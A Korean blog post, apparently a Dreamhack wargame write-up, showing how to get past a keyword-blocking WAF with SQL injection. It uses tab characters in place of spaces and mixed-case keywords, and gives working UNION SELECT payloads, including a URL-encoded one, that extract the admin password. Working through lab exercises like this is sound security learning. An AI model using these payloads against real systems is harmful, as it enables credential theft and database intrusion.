본문 바로가기
프로그래밍/해킹

Exercise: SQL Injection Bypass WAF

by 만디기 2024. 7. 2.

문제 : https://dreamhack.io/wargame/challenges/415/

 

- 키워드 검사를 통과하면 실행할 쿼리에 입력 값을 직접 삽입하므로 SQL Injection 취약점이 발생한다.

- 공백 문자는 주석(/**/)과 개행(\n)뿐만 아니라 탭 문자(%09)로도 우회 가능하다.

 

1) 일단 https://sqlfiddle.com/ 를 통해 admin의 upw를 반환하는 쿼리를 만든다.UNION은 열 수가 일치해야 하므로 더미 속성을 넣는다.

'union select upw, null, null from user where uid='admin'-- -

 

2) 하지만 keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/'] 로 쿼리를 필터링하므로 이것을 우회해야 한다.공백 문자는 탭으로 바꾸고 키워드는 중간의 문자를 대문자로 바꾸는 식으로 우회한다.

'Union	Select	upw,	null,	null	From	user	where	uid='Admin'--	-

 

3) 그런데 쿼리는 먹히는 것 같은데 결과값이 나오지 않는다. 그 이유는 앱 코드의 출력 부분을 보면 알 수 있는데, 결과 값의 두 번째 값을 표시하게 되어 있다. 따라서 아래와 같이 변경한다.

이렇게 하면 화면에서 DH 값을 얻을 수 있다.

'Union	Select	null,	upw,	null	From	user	where	uid='Admin'--	-

 

※ URL에 직접 입력하는 방식(uid= 뒤에 입력)으로도 할 수 있는데, https://www.urlencoder.org/ko/ 에서 변환 가능하다.

%27Union%09Select%09null%2C%09upw%2C%09null%09From%09user%09where%09uid%3D%27Admin%27--%09-

'프로그래밍 > 해킹' 카테고리의 다른 글

Redis 중복 키 사용 관련 공격  (0) 2024.07.03
MongoDB 기본 문법 & 취약점  (1) 2024.07.03
Bypass WAF  (0) 2024.07.02
DBMS Fingerprinting  (0) 2024.07.01
[WHA-S] Exercise: Blind SQL Injection Advanced  (0) 2024.06.30